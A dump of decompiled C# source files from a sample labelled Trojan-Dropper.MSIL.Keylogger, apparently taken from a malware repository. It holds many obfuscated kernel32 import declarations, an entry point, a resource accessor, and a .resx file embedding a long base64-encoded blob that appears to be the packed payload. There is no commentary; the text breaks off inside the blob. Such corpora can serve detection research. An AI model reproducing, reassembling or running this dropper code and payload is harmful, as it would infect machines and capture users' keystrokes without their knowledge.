[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] TAabk([MarshalAs(UnmanagedType.VBByRefStr)] ref string PRgiF, string[] CowmA, char HGJSE);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] PDgII([MarshalAs(UnmanagedType.VBByRefStr)] ref string BHFIg, string[] PnlZO, char cZLBi);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] SDTTf([MarshalAs(UnmanagedType.VBByRefStr)] ref string nzcvb, string[] zSdSF, char PbNue);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] purRX([MarshalAs(UnmanagedType.VBByRefStr)] ref string CqrWM, string[] Ujyfl, char YHRid);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] echAK([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZwNPM, string[] dfBwM, char TokNt);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] jaoyh([MarshalAs(UnmanagedType.VBByRefStr)] ref string hXIhT, string[] SfJdD, char XthfM);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] roKhU([MarshalAs(UnmanagedType.VBByRefStr)] ref string JOZVl, string[] IOAbV, char zFiRC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] DUltu([MarshalAs(UnmanagedType.VBByRefStr)] ref string sxjcj, string[] HaMpt, char wnHcC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] YmoLm([MarshalAs(UnmanagedType.VBByRefStr)] ref string qYFjx, string[] kBxXZ, char vdugk);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] LkvpO([MarshalAs(UnmanagedType.VBByRefStr)] ref string YbxVG, string[] LVnEB, char KXrmD);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] AyZNg([MarshalAs(UnmanagedType.VBByRefStr)] ref string VEKKP, string[] Glsze, char qqULH);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] YdslC([MarshalAs(UnmanagedType.VBByRefStr)] ref string RUaRI, string[] CSWGn, char nFBjJ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] fKiWa([MarshalAs(UnmanagedType.VBByRefStr)] ref string WJUNO, string[] eGMeb, char mTAab);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] kPRgi([MarshalAs(UnmanagedType.VBByRefStr)] ref string FCowm, string[] AHGJS, char EPDgI);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] IBHFI([MarshalAs(UnmanagedType.VBByRefStr)] ref string gPnlZ, string[] OcZLB, char iSDTT);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] fnzcv([MarshalAs(UnmanagedType.VBByRefStr)] ref string bzSdS, string[] FPbNu, char epurR);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] XCqrW([MarshalAs(UnmanagedType.VBByRefStr)] ref string MUjyf, string[] lYHRi, char dechA);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] KZwNP([MarshalAs(UnmanagedType.VBByRefStr)] ref string MdfBw, string[] MTokN, char tjaoy);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] hhXIh([MarshalAs(UnmanagedType.VBByRefStr)] ref string TSfJd, string[] DXthf, char MroKh);
|
||||
|
||||
[STAThread]
|
||||
public static void Main() => Class1.EvGwX();
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] aVKfC([MarshalAs(UnmanagedType.VBByRefStr)] ref string JakZZ, string[] UsXpR, char SyDEU);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] fXSKd([MarshalAs(UnmanagedType.VBByRefStr)] ref string axZrx, string[] tYPBs, char uTGOl);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] EXoOE([MarshalAs(UnmanagedType.VBByRefStr)] ref string rBggf, string[] jCGCz, char JJbfi);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ayGIq([MarshalAs(UnmanagedType.VBByRefStr)] ref string NbvNc, string[] qWVjV, char PkIYh);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] FgAVv([MarshalAs(UnmanagedType.VBByRefStr)] ref string Vhbtq, string[] GjOzw, char OMnPw);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] UeMET([MarshalAs(UnmanagedType.VBByRefStr)] ref string kYLAO, string[] nwwvW, char BelDd);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] csvyq([MarshalAs(UnmanagedType.VBByRefStr)] ref string FeBIp, string[] rJotI, char TmzMM);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] WPCxS([MarshalAs(UnmanagedType.VBByRefStr)] ref string wCmHm, string[] xrLtD, char zKSHN);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] pTJHB([MarshalAs(UnmanagedType.VBByRefStr)] ref string upZXW, string[] OaiNT, char yzxRn);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] uEAts([MarshalAs(UnmanagedType.VBByRefStr)] ref string PyEsA, string[] uaBUt, char FYvLX);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] RRppS([MarshalAs(UnmanagedType.VBByRefStr)] ref string MmGhH, string[] lRFTW, char uHLgD);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] bhdoU([MarshalAs(UnmanagedType.VBByRefStr)] ref string IcdnK, string[] rClSN, char ryoXF);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] DGZYx([MarshalAs(UnmanagedType.VBByRefStr)] ref string YjLvK, string[] FALiK, char qaVKf);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] CJakZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZUsXp, string[] RSyDE, char UfXSK);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] daxZr([MarshalAs(UnmanagedType.VBByRefStr)] ref string xtYPB, string[] suTGO, char lEXoO);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ErBgg([MarshalAs(UnmanagedType.VBByRefStr)] ref string fjCGC, string[] zJJbf, char iayGI);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] qNbvN([MarshalAs(UnmanagedType.VBByRefStr)] ref string cqWVj, string[] VPkIY, char hFgAV);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] vVhbt([MarshalAs(UnmanagedType.VBByRefStr)] ref string qGjOz, string[] wOMnP, char wUeME);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] TkYLA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Onwwv, string[] WBelD, char dcsvy);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] qFeBI([MarshalAs(UnmanagedType.VBByRefStr)] ref string prJot, string[] ITmzM, char MWPCx);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] SwCmH([MarshalAs(UnmanagedType.VBByRefStr)] ref string mxrLt, string[] DzKSH, char NpTJH);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] BupZX([MarshalAs(UnmanagedType.VBByRefStr)] ref string WOaiN, string[] TyzxR, char nuEAt);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] sPyEs([MarshalAs(UnmanagedType.VBByRefStr)] ref string AuaBU, string[] tFYvL, char XRRpp);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] SMmGh([MarshalAs(UnmanagedType.VBByRefStr)] ref string HlRFT, string[] WuHLg, char Dbhdo);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] UIcdn([MarshalAs(UnmanagedType.VBByRefStr)] ref string KrClS, string[] NryoX, char FDGZY);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] xYjLv([MarshalAs(UnmanagedType.VBByRefStr)] ref string KFALi, string[] KqaVK, char fCJak);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ZZUsX([MarshalAs(UnmanagedType.VBByRefStr)] ref string pRSyD, string[] EUfXS, char KdaxZ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] rxtYP([MarshalAs(UnmanagedType.VBByRefStr)] ref string BsuTG, string[] OlEXo, char OErBg);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] gfjCG([MarshalAs(UnmanagedType.VBByRefStr)] ref string CzJJb, string[] fiayG, char IqNbv);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] NcqWV([MarshalAs(UnmanagedType.VBByRefStr)] ref string jVPkI, string[] YhFgA, char VvVhb);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] GKiTc([MarshalAs(UnmanagedType.VBByRefStr)] ref string XSctO, string[] dSayt, char VNYMe);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] mcOSS([MarshalAs(UnmanagedType.VBByRefStr)] ref string DCryU, string[] kxwHD, char ZKjyr);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] bLJgP([MarshalAs(UnmanagedType.VBByRefStr)] ref string HbNIX, string[] ttCdp, char AlSpI);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] hIAJe([MarshalAs(UnmanagedType.VBByRefStr)] ref string GkXfl, string[] hsLNg, char hrFLn);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] oCcuR([MarshalAs(UnmanagedType.VBByRefStr)] ref string sNZXA, string[] BOFVm, char GHdZV);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] HmFtr([MarshalAs(UnmanagedType.VBByRefStr)] ref string aGjMD, string[] eoBBL, char LltIi);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] EhUBj([MarshalAs(UnmanagedType.VBByRefStr)] ref string BCFhe, string[] WkvEx, char Pabwx);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] OfJpU([MarshalAs(UnmanagedType.VBByRefStr)] ref string lsJZP, string[] ojkin, char MAMTe);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] Dfjmd([MarshalAs(UnmanagedType.VBByRefStr)] ref string RfKuq, string[] fzpgu, char YnnaH);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] oLBlZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string kVazo, string[] lfxuA, char nJAGM);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] drHFN([MarshalAs(UnmanagedType.VBByRefStr)] ref string icUVo, string[] PcVJr, char WWzTp);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ipXgg([MarshalAs(UnmanagedType.VBByRefStr)] ref string vzRuZ, string[] ibKsv, char DswKC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] qTqdY([MarshalAs(UnmanagedType.VBByRefStr)] ref string bMEjW, string[] mqDqE, char vGKiT);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] cXSct([MarshalAs(UnmanagedType.VBByRefStr)] ref string OdSay, string[] tVNYM, char emcOS);
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ljkhyrtd.My.Resources.Resources
|
||||
// Assembly: kopyht, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AE985B4F-A56D-4BC2-9182-79553748CBF3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.MSIL.Keylogger.b-62498e7220ee0284a4b819ca7f6a0791389033a31a4851b06364ad9713bfc16b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace ljkhyrtd.My.Resources
|
||||
{
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) ljkhyrtd.My.Resources.Resources.resourceMan, (object) null))
|
||||
ljkhyrtd.My.Resources.Resources.resourceMan = new ResourceManager("ljkhyrtd.Resources", typeof (ljkhyrtd.My.Resources.Resources).Assembly);
|
||||
return ljkhyrtd.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => ljkhyrtd.My.Resources.Resources.resourceCulture;
|
||||
set => ljkhyrtd.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] zcvbySq => (byte[]) RuntimeHelpers.GetObjectValue(ljkhyrtd.My.Resources.Resources.ResourceManager.GetObject(nameof (zcvbySq), ljkhyrtd.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
+296
@@ -0,0 +1,296 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="mscorlib" name="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="zcvbySq" type="System.Byte[], mscorlib">
|
||||
<value>
|
||||
NV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURnk3x5UHd9QFJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEEzo9dnUJDTgdIAguDjMtMSYcHAI9HTUzLSAWHTkF
|
||||
SSUDGDIHNAAzDgMNATNoBgIlKi83PTcoAhA6DBkINDFnLCYcExIOLg0QBi8eCRcxDiYWITknIw0fBjEr
|
||||
Aw4RaXVQEDALNxUxXSwtKBYpLy0vDDczEgkfEBIFFj0YCyQkAT8yGBE0HlUaf3BEWSg2hzEC20zSFPFk
|
||||
PH9a0WkrOSgecn9dbkx7PWRDXkfCQH17Unl8Y1sL1h7hWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZeFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tEcV5NWERwf1lvQmFifUBMXWVAeXFceFlWf3x8f1ZZ
|
||||
eFxxeUBlXUxAfWJhQm9Zf3BEWE1ecURbY3x5UHt9QGJHXkN4fXtMcn9/ckx7fXhDXkdiQH17UHl8Y1tE
|
||||
cV5NWERwP3lvZ55ifUBMXQksHV85HSs5HA8RfzgwGREdFQQXMg8ffWJhQm9Zf3BEWE1ecURbY0CpUHt9
|
||||
QGJHXkN4fXtMcn9/ckx7fXhDXmdiQH1Hjnl8Y1tEcV5NWERMv1lvcxgQHDIuNCkzChAwO1RWfm58f2Ro
|
||||
SG5RWemnfTgoGgsTOx82PGJEWVpecX1vUU1MYh0fJFZwbm5KREotX0tJRXhWSUp3O2pSeUsZZkEZVH9E
|
||||
cHdNWHReT3dfbFBlfUFAXBY3FgM0LDc5FggMGjUhPTIeNzAELxtWfzZhQ29YYXBEWE1eeURaa3x5UHt8
|
||||
Q2JGVkt5fFtIw/9uc01be3hDLSAMKQkPNSpSGhZPcV9dWERAUWlBck9TTEg+MhEhCxQyHR4zExU6Gjo+
|
||||
FjUiCicLNDg0GDFPMAo3GBk3PQktFioyFwgcA1UOMg0zNyc9UxQlFgoLISAaCAsqCGkWJhIIPwsfChYP
|
||||
cV8UfFZxeF3GwnPL/VJNXW1AeXFceFtWfnR8f2Z3SHJBV3RiLykkEQsUAAo6DQUrKygMFSErGigAPBwT
|
||||
LxAzDW0LERQjJlEMFy8JCBcwOxVMLRgPIwAvUFtFMX9fWUN0YktyUGNle93MT2tBe1Fb5dlEf1x5Y0pb
|
||||
elx0eUBlXU1Ff2NgYmtZbHBXWF5ddkxbcH14cH59U2NNWkNrfGJeZ3l/YU1jb21FXkdiHyIeMxcdFygq
|
||||
OAESPTcfDyoGBnI9IiUvMwQ0Ch8VJwYzCx0ZDRVLFDMSFjQKLxw0EwcILiwpCwQMKCwxImooDxMaPw8S
|
||||
MjJpLSYbFA0+FyxRECksUxUmKjQbE0l7URhybVVKcFptX0Rufl5rQn9jd0RMQ2VBaXRSeV5Vam59eFLU
|
||||
+E1ka0FlWkRBemFjQ2haY2xFWElecSo0CggYMxIRMBIGcDo1c3tNYX9/ACkPCAguMQRMOTBwUHhsY1s3
|
||||
FD0kLjYVLDsKFU8bME5MXHZAeQM5Cwx4BjF7f1dVdl1wWURxT01HeXNzQ2hdd2JFX0lSY0VcZ2hrUWNv
|
||||
VWRWTEJgb25Kem1+al5ue3RRX19wVXt7UHl9Z1tEQXB9dnReR14KNgAODS0pCRwNc3Fdb1dYfn5celZZ
|
||||
